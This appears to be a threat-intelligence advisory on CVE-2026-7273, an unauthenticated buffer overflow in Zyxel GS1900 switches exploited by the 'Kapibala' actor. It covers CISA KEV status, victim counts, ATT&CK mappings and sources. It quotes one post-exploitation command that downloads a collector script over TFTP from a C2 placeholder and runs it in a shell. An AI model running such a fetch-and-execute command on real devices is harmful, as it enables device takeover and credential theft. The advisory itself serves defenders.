# Zyxel GS1900 Series Switches Stack-Based Buffer Overflow (CVE-2026-7273) Actively Exploited by Kapibala/Red Heron in Global 996-Device Campaign — Added to CISA KEV

> CISA added CVE-2026-7273, an unauthenticated stack-based buffer overflow in the CGI program of Zyxel GS1900 series Smart Managed Switches, to its KEV catalog after GreyNoise documented a China-nexus actor tracked as "Kapibala" (possibly linked to Red Heron) using a PyArmor-obfuscated pre-auth exploit to compromise 996 switches across 48 countries and exfiltrate device configs and hashed root credentials via TFTP.

- **Published:** 2026-09-21T00:00:00Z
- **Last reviewed:** 2026-09-21T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2611
- **ID:** TL-2026-2611
- **Severity:** CRITICAL (CVSS 8.8)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Actor:** Kapibala (China)
- **Detections:** 9 · **IOCs:** 11 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2026-7273

## Description

CVE-2026-7273 is a stack-based buffer overflow (CWE-121) in the CGI program of Zyxel's GS1900 series Smart Managed Switch firmware. Because the CGI handler fails to bound-check user-supplied input before copying it into a fixed-size stack buffer, a LAN-adjacent, unauthenticated attacker can send a single crafted HTTP request to overwrite the stack and redirect execution, ultimately achieving OS command execution on the switch (NVD CVSS 3.1: 8.8, AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Zyxel published a fix on 2026-06-16 for ten affected GS1900 models (firmware 2.10 through 2.90 depending on model), crediting five ISCAS researchers with responsible disclosure.

On 2026-09-21, GreyNoise's "Open Season on Kapibala" report disclosed that this vulnerability had been actively and successfully exploited in the wild as one component of a broader multi-CVE campaign (also touching WordPress, Gitea, UniFi OS, FlowiseAI, SENAITE LIMS, Nuclio, Proxmox VE, and the Linux kernel Dirty Pipe flaw) attributed to a cluster GreyNoise tracks as "Kapibala," assessed with low-to-moderate confidence as Chinese-speaking (UTC+8 operational tempo) and possibly identical to or affiliated with the previously documented actor "Red Heron" (Acronis, 2026-09-13), which separately weaponized a Gitea RCE (CVE-2026-60004) to deploy a Linux implant with an LD_PRELOAD rootkit. For the Zyxel sub-campaign specifically, the actor used a Python exploit script — packed with PyArmor 6.7.5 to hinder analysis — that supports command-line targeting of multiple GS1900 firmware variants across the 2.10-2.90 range. On successful exploitation the device is instructed to run `tftp -gr c -l /1 <C2> 6969;/bin/sh /1`, pulling a collector script named `c` over TFTP on a non-standard port (6969) and executing it via `/bin/sh`. The collector harvests the switch's running configuration, hashed root-level credentials, and networking information into `/tmp/info`, which is then staged to `/home/web/tmp/info.txt` ahead of exfiltration.

GreyNoise telemetry attributes 996 compromised GS1900 switches across 48 countries to this campaign, led by Italy (133), the United States (129), Taiwan (123), France (90), and South Korea (69). Notably, 564 of the 996 compromised devices (57%) were reached via unrotated factory-default administrative credentials rather than the CVE-2026-7273 exploit chain itself, indicating the actor is opportunistically combining a novel pre-auth RCE with basic credential-stuffing against exposed management interfaces. As switches sit at the network edge and grant "total control of the asset post-exploitation" per CISA, successful compromise enables traffic interception, lateral pivoting into the broader LAN, configuration tampering, and persistent access to the wider network the switch serves. CISA added CVE-2026-7273 to the KEV catalog on 2026-09-21 under BOD 26-04, with a federal remediation due date of 2026-09-24; agencies are also required to determine whether compromise occurred prior to patching.

## MITRE ATT&CK

- T1595.002 Vulnerability Scanning
- T1588.002 Tool
- T1190 Exploit Public-Facing Application
- T1078.001 Default Accounts
- T1059.004 Unix Shell
- T1027.002 Software Packing
- T1552.001 Credentials In Files
- T1005 Data from Local System
- T1071.002 File Transfer Protocols
- T1571 Non-Standard Port

## Sources

- [CISA Adds One Known Exploited Vulnerability to Catalog](https://www.cisa.gov/news-events/alerts/2026/09/21/cisa-adds-one-known-exploited-vulnerability-catalog)
- [CISA Known Exploited Vulnerabilities Catalog — CVE-2026-7273](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-7273)
- [Zyxel Security Advisory for Stack-Based Buffer Overflow Vulnerability in GS1900 Series Switches](https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-stack-based-buffer-overflow-vulnerability-in-gs1900-series-switches-06-16-2026)
- [NVD - CVE-2026-7273](https://nvd.nist.gov/vuln/detail/CVE-2026-7273)
- [Open Season on Kapibala: Attacker Steals Government Records via WordPress Exploitation](https://www.greynoise.io/blog/open-season-on-kapibala-attacker-steals-government-records-wordpress-exploitation)
- [Red Heron Exploits Gitea N-Day Flaw in Multinational Campaign, Exposing New Linux Rootkit](https://www.acronis.com/en/tru/posts/red-heron-exploits-gitea-n-day-flaw-in-multinational-campaign-exposing-new-linux-rootkit/)
- [BOD 26-04: Prioritizing Security Updates Based on Risk](https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk)
- [BOD 26-04: A New Era of Prioritized Remediation](https://www.runzero.com/blog/bod-26-04/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2611